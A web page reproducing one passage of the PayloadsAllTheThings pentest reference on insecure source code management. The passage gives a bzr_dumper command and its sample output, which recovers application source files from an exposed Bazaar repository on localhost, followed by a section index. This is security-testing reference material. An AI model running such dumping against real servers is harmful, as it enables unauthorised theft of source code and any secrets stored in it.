Skip to content
BackEsc
Sign in

Insecure Source Code Management · passage 5 of 24

Bazaar: bzrdumper

2 code blocks · Insecure Source Code Management/Bazaar.md

For testing systems you own or are authorised to test, and for defending them. Nothing here is run by this page.

Open this passage on GitHub

* [SeahunOh/bzr_dumper](https://github.com/SeahunOh/bzr_dumper)

python3 dumper.py -u "http://127.0.0.1:5000/" -o source
Created a standalone tree (format: 2a)
[!] Target : http://127.0.0.1:5000/
[+] Start.
[+] GET repository/pack-names
[+] GET README
[+] GET checkout/dirstate
[+] GET checkout/views
[+] GET branch/branch.conf
[+] GET branch/format
[+] GET branch/last-revision
[+] GET branch/tag
[+] GET b'154411f0f33adc3ff8cfb3d34209cbd1'
[*] Finish
bzr revert
 N  application.py
 N  database.py
 N  static/

Source: Insecure Source Code Management/Bazaar.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.

Every one of the 24 is a mark on the map. Named now: 1 to 24, reading order first.

  1. Insecure Source Code Management§ 1text · README.md
  2. Methodology§ 21 code block · README.md
  3. Bazaar: Bazaar§ 3text · Bazaar.md
  4. Bazaar: rip-bzr.pl§ 4text · Bazaar.md
  5. Bazaar: bzrdumper§ 52 code blocks · Bazaar.md
  6. Git: Methodology§ 6text · Git.md
  7. Git: Recovering file contents from .git/logs/HEAD§ 7text · Git.md
  8. Git: Recovering file contents from .git/index§ 82 code blocks · Git.md
  9. Git: git-dumper.py§ 91 code block · Git.md
  10. Git: diggit.py§ 101 code block · Git.md
  11. Git: GoGitDumper§ 111 code block · Git.md
  12. Git: rip-git§ 121 code block · Git.md
  13. Git: GitHack§ 131 code block · Git.md
  14. Git: GitTools§ 141 code block · Git.md
  15. Git: noseyparker§ 151 code block · Git.md
  16. Git: trufflehog§ 161 code block · Git.md
  17. Git: Yar§ 171 code block · Git.md
  18. Git: Gitrob§ 181 code block · Git.md
  19. Git: Gitleaks§ 19text · Git.md
  20. Mercurial: Mercurial§ 20text · Mercurial.md
  21. Mercurial: rip-hg.pl§ 21text · Mercurial.md
  22. Subversion: Subversion§ 22text · Subversion.md
  23. Subversion: Tools§ 23text · Subversion.md
  24. Subversion: Methodology§ 241 code block · Subversion.md

Zoom in on the map and the dots under the middle of it are named where they are.

Data as of 2026-11-14. CVE List through 2026-11-14 · EPSS of 2026-11-14 · CISA KEV checked 2026-11-14. Source: PayloadsAllTheThings by Swissky and contributors, MIT License. For authorised testing only. Use this via MCP

CyberSIXTSignal over noise
Updated AboutDevelopersSign in